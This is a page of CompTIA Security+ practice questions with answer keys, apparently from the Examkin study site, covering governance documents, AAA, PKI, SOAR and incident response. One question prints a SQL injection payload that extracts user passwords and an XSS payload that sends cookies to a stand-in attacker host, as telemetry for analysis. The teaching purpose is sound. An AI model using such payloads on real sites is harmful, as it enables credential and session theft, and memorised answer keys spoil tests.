Examkin

Tüm alıştırma soruları

2232 soru

Tüm türler2,232Çoktan seçmeli1,151Çoklu seçim509Sayısal21Eşleştirme378Sıralama173
Soru 2081Soru →

A network security monitoring (NSM) sensor captures telemetry from an isolated subnet containing an intentional decoy server. The Network Intrusion Detection System (NIDS) generates alerts containing the following captured HTTP GET request payloads:

Payload 1: GET /search.php?id=100' UNION SELECT username, password FROM users--
Payload 2: GET /profile.php?name=<script>document.location='http://attacker-c2.com/collect?c='+document.cookie</script>

Which of the following statements correctly interpret this network telemetry and security control architecture? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: The captured telemetry demonstrates both database manipulation via SQL injection and client-side code execution via Cross-Site Scripting (XSS).; The targeted decoy server serves as a detective deception control (honeypot) designed to capture threat intelligence rather than prevent inline traffic.

Cevap

The captured telemetry demonstrates both SQL injection and Cross-Site Scripting (XSS) targeting a detective honeypot deception control.
The correct options correctly identify the two payload signatures (SQL injection via database UNION syntax and XSS via script tags) and accurately classify the decoy system on an isolated network as a honeypot used for detective security monitoring.

Adım Adım Çözüm

1
Analyze the first payload snippet in the NIDS alert.
Identified 'UNION SELECT' syntax targeting data retrieval from a database backend (SQL Injection).
SQL injection attacks attempt to pass unauthorized SQL commands through unvalidated application input fields.
2
Analyze the second payload snippet in the NIDS alert.
Identified client-side JavaScript (<script>) targeting cookie extraction (Cross-Site Scripting / XSS).
XSS attacks execute arbitrary script code within a browser context to steal tokens or redirect users.
3
Evaluate the architectural role of the targeted decoy server on an isolated subnet.
Confirmed the host functions as a honeypot (deception technology) for detective monitoring.
Honeypots entice attackers into exposing tactics and telemetry without risking enterprise production assets.

Anahtar Kavram

Network Security Monitoring and Alert Interpretation
Soru 2082Soru →

A cybersecurity analyst must conduct a comprehensive vulnerability assessment on internal Linux servers hosting sensitive database services. The assessment requirements specify that the process must identify missing local software updates and misconfigured operating system kernel parameters while minimizing network bandwidth consumption and avoiding risk of service disruption caused by active network probing. Which of the following vulnerability assessment approaches best fulfills these operational requirements?

Cevabı ve açıklamayı göster

Cevap: Deploying host-based credentialed scanning agents on each server

Cevap

Deploying host-based credentialed scanning agents on each server best meets all stated requirements.
Deploying host-based credentialed scanning agents allows the vulnerability management system to audit internal software versions, local patch status, and OS kernel parameter configurations directly on the host. Because authentication and execution occur locally, this method consumes minimal network bandwidth and avoids sending network-probing packets that could destabilize sensitive production databases.

Adım Adım Çözüm

1
Analyze the operational constraints and requirements in the scenario.
Identified requirements: detect local OS patch status and kernel misconfigurations, minimize network overhead, and prevent service disruption.
Vulnerability scanning techniques must be tailored to the specific sensitivity of the target infrastructure.
2
Evaluate host-based credentialed scanning agents against network-based scanning approaches.
Host-based agents run locally with system-level access, directly auditing patch management databases and local configuration files without transmitting high volumes of network probe packets.
Credentialed agent-based scanning provides deep internal visibility with minimal network impact and zero risk of network-induced service disruption.
3
Compare candidate options to select the single best methodology.
Host-based credentialed agent deployment is the only option that fulfills all assessment goals cleanly.
Alternative options either fail to inspect local host configurations or introduce network disruption risks and control misclassifications.

Anahtar Kavram

Credentialed vs. Unauthenticated and Host-Based vs. Network Vulnerability Scanning
Soru 2083Soru →

A software engineering team is preparing to deploy an updated microservice that modifies shared container network policies and ingress routing rules within a production Kubernetes cluster. Which of the following steps must be completed as part of the formal change management workflow to evaluate and mitigate security risks prior to implementation? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Conduct security impact testing and dependency analysis within a staging environment that mirrors production configurations.; Establish and validate a documented backout plan to restore previous routing rules and network policies if anomalies occur.

Cevap

The change management workflow requires conducting security impact testing in a staging environment that mirrors production and establishing a validated backout plan to restore previous network configurations if issues arise.
Proper change management requires testing proposed changes in a staging environment to assess security impacts and dependencies, alongside maintaining a tested rollback plan to quickly revert changes if security or operational issues arise.

Adım Adım Çözüm

1
Analyze the proposed configuration modifications in a non-production staging environment.
Identifies potential access control oversights, broken service dependencies, or unintended network exposures prior to deployment.
Security impact assessment in staging prevents unauthorized network paths from reaching production.
2
Develop and verify a backout procedure prior to change approval.
Ensures immediate recovery to a known good configuration if deployment fails or creates security regressions.
Change management governance mandates documented rollback procedures to preserve system availability and security integrity.

Anahtar Kavram

Change Management Security Impact and Rollback Planning
Soru 2084Soru →

Following a series of regulatory audits, an enterprise Chief Information Security Officer (CISO) publishes an executive document mandating that all sensitive customer data must be protected against unauthorized disclosure across all environments to set management's strategic intent. Shortly thereafter, the security engineering team publishes a separate compulsory document specifying that all cloud databases must utilize AES-256 GCM encryption with key rotation enforced every 90 days. Which of the following correctly classifies these two documents within the organizational security governance hierarchy?

Cevabı ve açıklamayı göster

Cevap: The CISO's document is a Policy, while the security engineering team's document is a Standard.

Cevap

The CISO's high-level document is classified as a Policy, while the engineering team's mandatory technical specification is classified as a Standard.
In security governance, a Policy is a high-level, mandatory executive directive that establishes management's goals and strategic intent (such as protecting customer data). A Standard is a compulsory specification that defines specific technologies, configurations, or hardware/software parameters (such as AES-256 GCM and 90-day rotation) required to achieve policy compliance across the organization.

Adım Adım Çözüm

1
Analyze the CISO's document characteristics
Identified as a mandatory, high-level executive statement outlining security intent and organizational goals without detailing specific technologies.
This fits the exact definition of an Information Security Policy.
2
Analyze the security engineering team's document characteristics
Identified as a mandatory requirement specifying exact algorithms (AES-256 GCM) and parameters (90-day key rotation).
Compulsory technical specifications enforcing policy requirements across an enterprise are classified as Standards.
3
Map both documents to the governance hierarchy options
The pairing corresponds to Policy (executive directive) and Standard (mandatory technical configuration).
Distinguishes compulsory governance documents based on strategic scope versus technical specificity.

Anahtar Kavram

Security Policy vs Security Standard Hierarchy
Soru 2085Soru →

A security analyst is designing a secure telemetry collection architecture for edge gateway devices transmitting environmental data to an enterprise cloud endpoint. The design mandates establishing keying material that ensures perfect forward secrecy and validating the authenticity and data integrity of each transmitted payload with minimal performance overhead. Which of the following cryptographic techniques should the analyst select to meet these requirements? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Elliptic Curve Diffie-Hellman Ephemeral (ECDHE); Hash-based Message Authentication Code (HMAC)

Cevap

The analyst should select Elliptic Curve Diffie-Hellman Ephemeral (ECDHE) for perfect forward secrecy during key negotiation, and Hash-based Message Authentication Code (HMAC) for efficient payload authenticity and integrity verification.
Elliptic Curve Diffie-Hellman Ephemeral (ECDHE) provides perfect forward secrecy through per-session temporary key generation, while Hash-based Message Authentication Code (HMAC) provides low-overhead authenticity and integrity checks via symmetric key hashing.

Adım Adım Çözüm

1
Evaluate key exchange requirements for Perfect Forward Secrecy (PFS)
Identify that PFS requires ephemeral key exchange algorithms such as ECDHE.
Ephemeral key exchanges generate temporary keys for every session so that compromise of long-term server keys does not reveal past communications.
2
Evaluate payload validation requirements for authenticity and integrity
Identify that lightweight, keyed symmetric hashing such as HMAC satisfies both integrity and authenticity without high computational overhead.
HMAC incorporates a shared secret into the hashing process, ensuring that only authorized keyholders can produce a valid MAC code.

Anahtar Kavram

Cryptographic Key Exchange Mechanisms and Message Integrity Verification
Soru 2086Soru →

A network security analyst receives a SIEM alert indicating suspicious encrypted outbound traffic from an internal host to an untrusted external IP address. Place the following incident triage and network monitoring response actions in the correct chronological order, from initial alert confirmation to threat containment.

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The proper sequence for triage begins with broad NetFlow analysis to validate traffic volume, followed by inspecting detailed TLS session metadata, correlating extracted domain and IP indicators against threat intelligence, and finally executing host isolation and firewall containment.
The standard network security monitoring triage flow moves systematically from high-level flow anomaly verification to granular metadata extraction, intelligence correlation, and targeted active containment.

Adım Adım Çözüm

1
Perform initial flow telemetry verification using NetFlow logs.
Confirms the existence of an anomalous connection and establishes baseline metric deviations (e.g., unusual port, long duration, high byte count).
Flow data provides rapid, low-overhead confirmation of network activity before performing deep inspection.
2
Analyze session-level proxy and TLS metadata.
Extracts contextual protocol artifacts such as SNI, TLS version, cipher suites, and destination domain names.
Granular session logs reveal specific protocol behaviors and identifying attributes embedded within the connection.
3
Correlate collected indicators with threat intelligence databases.
Determines whether the destination IP or domain is associated with known command-and-control (C2) infrastructure.
Threat intelligence matching provides context and verification regarding the intent and severity of the suspicious activity.
4
Apply containment and mitigation controls.
Blocks communication to the external address and prevents lateral movement by isolating the compromised internal device.
Remediation prevents data exfiltration and active C2 operations once threat maliciousness is confirmed.

Anahtar Kavram

Network Security Monitoring Triage Lifecycle
Soru 2087Soru →

An employee attempting to navigate to an external vendor portal mistypes the domain name in the web browser address bar and is redirected to a fraudulent site designed to mimic the authentic login screen. Which of the following attack vectors is demonstrated in this scenario?

Cevabı ve açıklamayı göster

Cevap: Typosquatting

Cevap

Typosquatting
Typosquatting (also known as URL hijacking) occurs when threat actors register domain names that are slight misspellings of legitimate websites to capture traffic from users who make typographical errors.

Adım Adım Çözüm

1
Identify the attack mechanism presented in the scenario.
The user mistyped a legitimate domain name in the browser address bar.
The attack relies on typographical mistakes made during web navigation.
2
Match the mechanism to the correct social engineering attack term.
Registering common misspellings of popular domains to trap users is known as typosquatting (or URL hijacking).
This directly aligns with the definition of typosquatting.

Anahtar Kavram

Typosquatting (URL Hijacking)
Soru 2088Soru →

Match each social engineering principle of influence on the left with its corresponding enterprise attack scenario description on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Authority
Consensus
Scarcity
Urgency

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Authority matches the executive impersonation scenario; Consensus matches the claim that all other department heads submitted credentials; Scarcity matches the claim of limited remaining license slots; Urgency matches the claim of an imminent server crash within minutes.
Each principle of influence aligns with its specific psychological trigger: Authority uses hierarchy and position, Consensus relies on peer participation, Scarcity uses perceived limited availability, and Urgency creates artificial time pressure.

Adım Adım Çözüm

1
Analyze each scenario on the right to identify the psychological driver leveraged by the attacker.
The executive role exploits power (Authority); peer actions exploit social proof (Consensus); limited licenses exploit limited supply (Scarcity); short deadlines exploit time pressure (Urgency).
Social engineering attacks rely on specific psychological principles of influence to manipulate victims.
2
Pair each principle of influence on the left to its corresponding attack scenario.
Authority maps to executive demand, Consensus maps to peer compliance, Scarcity maps to limited slots, and Urgency maps to the tight time constraint.
Matching principles to their defining characteristics confirms correct identification of attack vectors.

Anahtar Kavram

Principles of Influence in Social Engineering
Tahmini Süre:1m 0s
Soru 2089Soru →

A security operations center (SOC) team is deploying a Security Orchestration, Automation, and Response (SOAR) playbook to handle automated containment when secret-scanning tools detect exposed API keys in public code repositories. In what sequence should the SOAR engine execute the following playbook steps?

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct execution sequence is: 1) Ingest the alert payload from the secret-scanning API, 2) Query internal IAM and Asset Management APIs for enrichment, 3) Evaluate conditional decision logic for environment context, 4) Invoke the Cloud IAM API to invalidate the compromised key, and 5) Generate an ITSM ticket and dispatch notifications.
A standard SOAR playbook follows a structured workflow starting with event ingestion, followed by threat intelligence and identity enrichment to establish context. After enrichment, conditional logic determines the appropriate response path. Once conditions are satisfied, automated containment APIs execute to mitigate the threat immediately, followed by post-containment ticketing and team notifications.

Adım Adım Çözüm

1
Trigger and Ingestion
The SOAR platform receives the alert payload containing the exposed credential metadata from the external repository monitor.
Execution cannot begin until the raw alert event and initial parameters are ingested by the orchestration tool.
2
Context Enrichment
The playbook queries internal systems to correlate the token string with internal identity records, environment tags, and privilege levels.
Raw alert tokens lack necessary business and technical context needed for safe, effective automated decision-making.
3
Conditional Evaluation
The playbook branch logic evaluates whether automated containment rules apply to the specific account and system environment.
Decision gates must evaluate enriched data before taking disruptive containment steps on live cloud infrastructure.
4
Automated Containment
The SOAR engine executes API integration scripts to revoke the exposed key and kill associated active sessions.
Neutralizing the active vector is the key containment objective once conditions and identity scope are validated.
5
Notification and Record Keeping
An incident record is created in the ticketing system and notifications are routed to the asset owner for manual key re-issuance.
Administrative documentation and human-in-the-loop follow-up tasks occur after successful automated threat containment.

Anahtar Kavram

SOAR Playbook Execution Lifecycle (Trigger -> Enrich -> Evaluate -> Contain -> Notify)
Soru 2090Soru →

An organization is establishing a comprehensive security governance framework. The Chief Information Security Officer (CISO) needs to publish documents that define mandatory, high-level organizational security objectives as well as detailed step-by-step instructions for technical teams to execute. Which of the following governance document types fulfill these specific requirements? (Select TWO).

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Policy; Procedure

Cevap

The correct document types are Policy (which defines high-level mandatory objectives) and Procedure (which provides step-by-step instructions).
Policies establish high-level mandatory goals and organizational security intentions mandated by management. Procedures complement policies by defining exact, step-by-step instructions for technical personnel to execute operational tasks.

Adım Adım Çözüm

1
Identify the high-level governance document that sets mandatory organizational goals.
A policy defines overarching mandatory rules and goals mandated by executive leadership.
Governance frameworks rely on policies to communicate high-level compliance and security expectations.
2
Identify the document type designed to give explicit, step-by-step task instructions.
A procedure outlines exact sequential actions for staff to follow.
Detailed step-by-step operational tasks are formally documented in procedures.

Anahtar Kavram

Security Governance Hierarchy
Soru 2091Soru →

An organization is restructuring its information security governance framework following a major compliance assessment. The Chief Information Security Officer (CISO) needs to categorize four key documentation elements within the administrative governance hierarchy based on their operational enforcement level and organizational scope. Match each security governance document type on the left with its corresponding operational attribute on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Acceptable Use Policy (AUP)
Data Encryption Standard
Container Hardening Baseline
Remote Work Security Guideline

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Acceptable Use Policy matches the high-level mandatory executive directive; Data Encryption Standard matches the mandatory technical requirement specifying cryptographic suites; Container Hardening Baseline matches the minimum required configuration state for container images; Remote Work Security Guideline matches the discretionary recommendations and best practices.
In security governance, documents follow a clear administrative structure: Policies provide high-level mandatory management intent; Standards set compulsory technical requirements; Baselines define minimum mandatory operational configurations; and Guidelines provide non-mandatory, advisory recommendations.

Adım Adım Çözüm

1
Analyze the organizational governance hierarchy level for each document.
Identify high-level policy vs technical standards vs operational baselines vs discretionary guidelines.
Security governance relies on a formal structure where authority and enforcement flow from policies down to guidelines.
2
Differentiate mandatory technical requirements from high-level behavioral directives.
Assign the Acceptable Use Policy to behavioral expectations and the Data Encryption Standard to compulsory technical requirements.
Policies establish overarching behavioral scope, whereas standards specify exact technology controls.
3
Separate mandatory baseline configuration states from advisory guidelines.
Assign Container Hardening Baseline to mandatory minimum build settings and Remote Work Security Guideline to discretionary best practices.
Baselines are enforceable build minimums, while guidelines are optional recommendations.

Anahtar Kavram

Security Policy and Governance Hierarchy
Tahmini Süre:2m 0s
Soru 2092Soru →

During an ongoing incident investigation, an incident response team discovers that an employee's workstation was compromised via a malicious macro attachment, enabling unauthorized network scanning and lateral movement attempts towards internal file servers. According to standard incident response playbooks for host compromise, which of the following containment actions should the team perform immediately? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Isolate the compromised workstation from the internal network by applying a quarantine network policy or disabling its switch port.; Revoke active authentication tokens and reset credentials for the user account associated with the compromised host.

Cevap

The correct immediate containment steps are isolating the compromised workstation from the internal network and revoking active authentication tokens and resetting credentials for the affected user account.
During the containment phase of incident response, playbooks prioritize preventing further spread of the threat and revoking compromised access. Isolating the infected host from the network stops active lateral movement, and invalidating active session tokens alongside credential resets prevents unauthorized account usage across the environment.

Adım Adım Çözüm

1
Determine the required Incident Response phase
The scenario requires immediate actions within the containment phase of the NIST/ISO IR lifecycle following an endpoint breach.
Containment focuses on halting threat progression before eradication and recovery operations take place.
2
Select valid host and identity containment controls
Network isolation stops endpoint communication, while credential invalidation mitigates identity abuse.
Combining host isolation and credential revocation effectively secures both the network node and user context.

Anahtar Kavram

Host and Identity Containment Actions in Incident Response Playbooks
Soru 2093Soru →

A security analyst is reviewing a high-level organizational document that explicitly states all company-owned endpoints must enforce encryption at rest to protect sensitive data. The document provides overall leadership direction and is mandatory for all employees, but it does not detail specific software configurations or step-by-step commands. Which of the following governance document types best describes this document?

Cevabı ve açıklamayı göster

Cevap: Policy

Cevap

Policy
A security policy is a high-level directive issued by senior management that sets mandatory requirements and principles for protecting organizational assets without prescribing specific implementation steps.

Adım Adım Çözüm

1
Analyze the scope and authority described in the scenario.
The document comes from leadership, covers the whole organization, and is mandatory.
Governance documents are categorized based on their level of abstraction and mandatory enforcement.
2
Differentiate high-level strategic directives from implementation details.
The document sets mandatory goals (enforce encryption) without specifying technical steps or specific software tools.
Policies set the strategic intent and high-level requirements, leaving detailed technical specifications to standards, baselines, and procedures.

Anahtar Kavram

Security Policy Hierarchy and Document Types
Soru 2094Soru →

A security analyst is investigating an automated alert from a cloud-hosted API gateway. A third-party developer successfully logged into the developer portal using single sign-on (SSO) credentials. However, when the developer attempted to issue a DELETE call against a production storage bucket, the API gateway returned a 403 Forbidden error because the developer's OAuth 2.0 access token lacked the required write/delete scope claims. Which pillar of the Authentication, Authorization, and Accounting (AAA) security framework directly enforced the decision to block the DELETE request?

Cevabı ve açıklamayı göster

Cevap: Authorization

Cevap

Authorization is the AAA component that checks scopes and permissions to decide whether a verified identity is allowed to perform a specific action.
Authorization is responsible for determining whether an authenticated subject has permission to access a specific resource or execute a requested operation. Because the developer successfully authenticated via single sign-on, their identity was known; the blocking occurred because the API gateway evaluated the token's scope claims (permissions) and denied access to the DELETE operation.

Adım Adım Çözüm

1
Analyze the incident details in the stem
The user successfully logged in (identity verified via SSO), but was denied execution of a specific API endpoint due to missing scope privileges.
Differentiating identity verification from permission enforcement is necessary to map the event to the correct AAA pillar.
2
Evaluate the AAA framework components against the scenario
Authentication validated 'who' the user is. Authorization evaluated 'what' the user is allowed to do (checking OAuth token scopes). Accounting recorded the audit entry.
The blocking of the DELETE operation based on token claims is a permission decision.
3
Select the component responsible for permission enforcement
Authorization directly performed the policy enforcement check.
Authorization governs access control decisions once authentication has occurred.

Anahtar Kavram

Authentication, Authorization, and Accounting (AAA) Roles
Tahmini Süre:1m 15s
Soru 2095Soru →

A security engineer is troubleshooting intermittent connection timeouts and handshake failures reported by users accessing a high-security internal web application. Network logs indicate that client web browsers are attempting to query external Certificate Authority (CA) validation servers to verify the revocation status of the application's TLS certificate. However, client endpoints are on a strict zero-trust VLAN with no outbound internet access, causing the certificate status requests to block and eventually time out. Which of the following should the security engineer implement on the web server to resolve the validation failures while maintaining certificate status checking?

Cevabı ve açıklamayı göster

Cevap: Enable OCSP stapling on the web server so it periodically fetches and appends a time-stamped CA OCSP response during the TLS handshake.

Cevap

Enable OCSP stapling on the web server so it periodically fetches and appends a time-stamped CA OCSP response during the TLS handshake.
Enabling OCSP stapling resolves client-side outbound connectivity issues by offloading OCSP status checks to the web server. The web server periodically contacts the CA's OCSP responder, receives a digitally signed and timestamped status response, and appends ('staples') this proof directly into the TLS handshake (Server Hello). This allows restricted internal clients to verify certificate validity without direct access to external CA servers.

Adım Adım Çözüm

1
Analyze the root cause of the connection timeouts
Client browsers are trying to reach external CA infrastructure directly for Online Certificate Status Protocol (OCSP) or CRL verification, which fails because the client VLAN lacks outbound internet egress.
By default, clients perform revocation checks by contacting the CA's OCSP responder listed in the certificate's AIA extension.
2
Evaluate PKI mechanisms that allow revocation checking without client egress access
OCSP stapling (TLS Certificate Status Request extension) delegates the responsibility of querying the OCSP responder to the server itself.
The server queries the CA at configured intervals, caches the time-stamped signed OCSP assertion, and includes it directly in the initial TLS handshake to the client.
3
Verify requirement compliance
Client validation succeeds without requiring outbound client internet access, while maintaining security and resolving handshake latency.
The client receives proof of validity signed directly by the CA without making an independent network call.

Anahtar Kavram

OCSP Stapling (TLS Certificate Status Request Extension)
Soru 2096Soru →

A cloud security operations center receives automated alerts flagging unusual outbound DNS query patterns originating from an internal web application server. The telemetry reveals thousands of high-frequency sub-domain requests formatted as encoded payloads appended to an external domain, accompanied by oversized TXT record responses. Which of the following initial actions should the security analyst take to investigate and contain this activity? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Isolate the affected application server from the network segment to halt active data exfiltration.; Inspect DNS resolver query logs and correlate them with endpoint process execution logs to identify the compromised binary.

Cevap

The analyst should isolate the affected application server to prevent further data exfiltration and correlate DNS query logs with endpoint process logs to determine the malicious process.
Isolating the affected application server halts covert data transfer across the network, while inspecting DNS query logs alongside host process logs reveals the exact executable performing DNS tunneling.

Adım Adım Çözüm

1
Analyze the network alert indicators.
Identify high-volume sub-domain requests and TXT responses as DNS tunneling for data exfiltration or C2 traffic.
DNS tunneling uses encoded sub-domains to send data outbound and TXT responses to receive data back over standard DNS infrastructure.
2
Execute immediate incident containment.
Isolate the affected host from the network.
Host network segmentation prevents ongoing data exfiltration while preserving system state for analysis.
3
Conduct root-cause analysis via telemetry correlation.
Map network DNS query timestamps to local endpoint process execution logs.
Correlating network telemetry with endpoint execution state identifies the specific process or malware file generating the queries.

Anahtar Kavram

DNS Tunneling Detection and Incident Response Containment
Soru 2097Soru →

Match each information security governance document type on the left with its correct operational description on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Policy
Standard
Baseline
Guideline

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Policy matches the high-level management mandate establishing security goals. Standard matches compulsory rules and technical parameters for uniform implementation. Baseline matches minimum mandatory security configuration standards required for system deployment. Guideline matches discretionary recommendations offering flexible advice.
Each security governance document serves a distinct purpose within an enterprise framework: Policies set executive-level direction and mandates; Standards provide mandatory, uniform technical requirements; Baselines establish the minimum security configuration standard required prior to system deployment; Guidelines supply non-binding, advisory recommendations.

Adım Adım Çözüm

1
Identify the high-level governance document
Policy corresponds to high-level executive direction and broad governance mandates.
Policies represent the top tier of governance and define organizational goals and obligations.
2
Distinguish mandatory technical requirements from deployment floors
Standards correspond to compulsory technical parameters for uniformity, while Baselines define minimum deployment configurations.
Standards enforce operational uniformity, whereas baselines establish the absolute minimum security posture required for operation.
3
Identify discretionary documents
Guideline corresponds to discretionary recommendations and advisory suggestions.
Guidelines are non-mandatory options provided to assist staff in achieving compliance.

Anahtar Kavram

Information Security Governance Document Hierarchy
Soru 2098Soru →

A security operations team deploys an automated Security Orchestration, Automation, and Response (SOAR) playbook to mitigate compromised account alerts. The playbook is designed to connect to the organization's identity provider and immediately invalidate active session tokens when high-confidence alert criteria are met. During testing, the SOAR workflow successfully authenticates using API credentials but fails when attempting to execute the token revocation call, returning an HTTP 403 Forbidden response. Which of the following best explains why this automated remediation step failed?

Cevabı ve açıklamayı göster

Cevap: The SOAR service account successfully authenticated but lacked the authorization permissions required to modify user session states.

Cevap

The SOAR service account successfully authenticated but lacked the authorization permissions required to modify user session states.
The correct answer identifies that the SOAR service account was authenticated properly but failed due to missing authorization rights. Authentication confirms who the service account is, while authorization determines what actions the service account can perform. An HTTP 403 Forbidden status confirms that identity was verified successfully, but the identity provider denied the request because the account lacked the requisite administrative privileges to revoke user sessions.

Adım Adım Çözüm

1
Analyze the HTTP response code produced during the automated SOAR API call.
The target identity management API returned an HTTP 403 Forbidden status code.
HTTP 403 Forbidden specifically denotes that authentication succeeded, but the authenticated user or service principal does not possess sufficient privileges for the requested action.
2
Distinguish between API authentication and API authorization in automated SOAR workflows.
Confirm that identity verification (authentication) passed, while permission checks (authorization) failed.
SOAR service accounts require granular API scope assignments and Role-Based Access Control (RBAC) permissions to carry out active containment tasks like session invalidation.

Anahtar Kavram

Authentication vs. Authorization in SOAR API Integrations
Tahmini Süre:1m 30s
Soru 2099Soru →

A healthcare organization's security team identified a critical remote code execution vulnerability in a legacy diagnostic server. Because replacing or updating the server would temporarily disrupt essential patient care operations, the Chief Information Security Officer (CISO) approves placing the server on an isolated microsegmented subnet, restricting inbound network traffic using strict firewall rules, and deploying specialized host monitoring to reduce the likelihood of exploitation. Which risk response strategy did the organization primarily execute?

Cevabı ve açıklamayı göster

Cevap: Risk Mitigation

Cevap

Risk Mitigation
Risk mitigation (also called risk reduction) involves implementing technical, administrative, or physical security controls to diminish the likelihood and potential impact of a vulnerability exploitation. Placing the server on an isolated subnet and enforcing strict firewall rules reduces the attack surface while allowing the medical organization to continue essential patient care operations.

Adım Adım Çözüm

1
Analyze the operational decision made by the CISO.
The organization decided to keep the vulnerable legacy diagnostic server operational rather than taking it offline.
Identifying whether the underlying risk-bearing activity continues helps narrow down the risk strategy category.
2
Evaluate the specific technical actions implemented around the server.
The team implemented microsegmentation, firewall rules, and host-based monitoring.
These controls actively reduce both the likelihood of exploitation and the potential impact of an attack.
3
Map the technical controls to the standard risk response definitions.
Deploying security controls to lower risk to an acceptable tolerance level without stopping the business process is defined as Risk Mitigation (or Risk Reduction).
Mitigation differs from avoidance (stopping the process), transference (shifting financial impact to insurance/contractors), and acceptance (taking no defensive action).

Anahtar Kavram

Selecting and classifying risk response strategies (Mitigation, Avoidance, Transference, Acceptance)
Tahmini Süre:1m 0s
Soru 2100Soru →

Following a cloud security assessment, a Chief Risk Officer directs the security team to enforce consistent security configurations across all newly provisioned virtual machine instances. The engineering team requires a governance document that specifies the mandatory, platform-specific minimum security settings—such as disabled default accounts, mandatory audit logging parameters, and specific host firewall rules—that every instance must satisfy before being joined to the enterprise network, while allowing technical teams to determine their own specific deployment scripts. Which of the following governance document types should the security team establish to satisfy this requirement?

Cevabı ve açıklamayı göster

Cevap: Security baseline document

Cevap

Security baseline document
A security baseline document defines mandatory minimum security configuration settings for a specific technology, operating system, or platform. In an enterprise governance framework, baselines ensure that all systems meet a required minimum security state prior to network deployment, while leaving exact implementation scripts and methods to operational teams.

Adım Adım Çözüm

1
Analyze the scenario requirement
Identified the need for a mandatory, platform-specific document establishing minimum configuration rules (e.g., firewall settings, disabled accounts, audit parameters) for virtual machines.
Governance documents are categorized based on their level of authority, scope, and technical granularity.
2
Differentiate governance document levels within security framework hierarchy
Recognized that high-level directives represent policies, step-by-step execution workflows represent procedures, discretionary recommendations represent guidelines, and mandatory system-level configuration thresholds represent baselines.
A baseline acts as a compulsory minimum build standard for a specific operating system or software deployment.
3
Select the governance document matching mandatory minimum technical settings
Selected the security baseline document as the correct instrument.
Only a security baseline establishes mandatory minimum security configurations that system builds must satisfy prior to production onboarding.

Anahtar Kavram

Security Governance Document Hierarchy (Baselines vs. Policies, Standards, Guidelines, and Procedures)
Tahmini Süre:1m 30s
ÖncekiSayfa 105 / 112Sonraki
Tüm alıştırma soruları — CompTIA Security+ | Examkin